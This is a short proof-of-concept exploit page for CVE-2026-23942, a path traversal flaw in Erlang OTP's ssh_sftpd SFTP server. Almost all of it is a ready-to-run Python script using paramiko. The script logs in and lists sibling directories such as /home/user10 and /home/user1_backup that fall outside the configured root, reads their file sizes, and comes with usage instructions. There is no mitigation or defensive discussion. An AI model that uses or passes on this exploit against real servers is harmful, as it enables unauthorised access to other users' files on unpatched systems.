CVE-2026-23942 Erlang OTP ssh_sftpd 路径遍历漏洞

# PoC for CVE-2026-23942: Erlang OTP ssh_sftpd Path Traversal # Assuming SFTP server with root configured as /home/user1 # Attack: Access /home/user10 via path traversal using prefix match bypass import paramiko import sys def exploit_sftp(target_host, port, username, password, root_path='/home/user1'): """ Exploit path traversal in Erlang OTP ssh_sftpd. The vulnerability allows accessing sibling directories like /home/user10 because lists:prefix/2 treats /home/user10 as within /home/user1. """ try: transport = paramiko.Transport((target_host, port)) transport.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(transport) # Attempt to access sibling directory /home/user10 # lists:prefix/2 will match "/home/user1" in "/home/user10" sibling_path = root_path + '0' # becomes /home/user10 try: # Try to list contents of the sibling directory files = sftp.listdir(sibling_path) print(f'[+] Successfully accessed: {sibling_path}') print(f'[+] Files in sibling directory: {files}') # Try to read a file from the sibling directory for f in files: full_path = sibling_path + '/' + f try: # Attempt to read file attributes stat = sftp.stat(full_path) print(f' - {f}: size={stat.st_size}') except: pass except IOError as e: print(f'[-] Access denied or path not found: {sibling_path}') print(f'[-] Error: {e}') # Additional test: /home/user1_backup backup_path = root_path + '_backup' try: files = sftp.listdir(backup_path) print(f'[+] Successfully accessed: {backup_path}') print(f'[+] Files: {files}') except IOError as e: print(f'[-] Backup path not accessible: {backup_path}') sftp.close() transport.close() except Exception as e: print(f'[-] Connection failed: {e}') sys.exit(1) if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <host> <port> <username> <password>') print(f'Example: python {sys.argv[0]} 192.168.1.100 22 sftp_user password') sys.exit(1) exploit_sftp(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])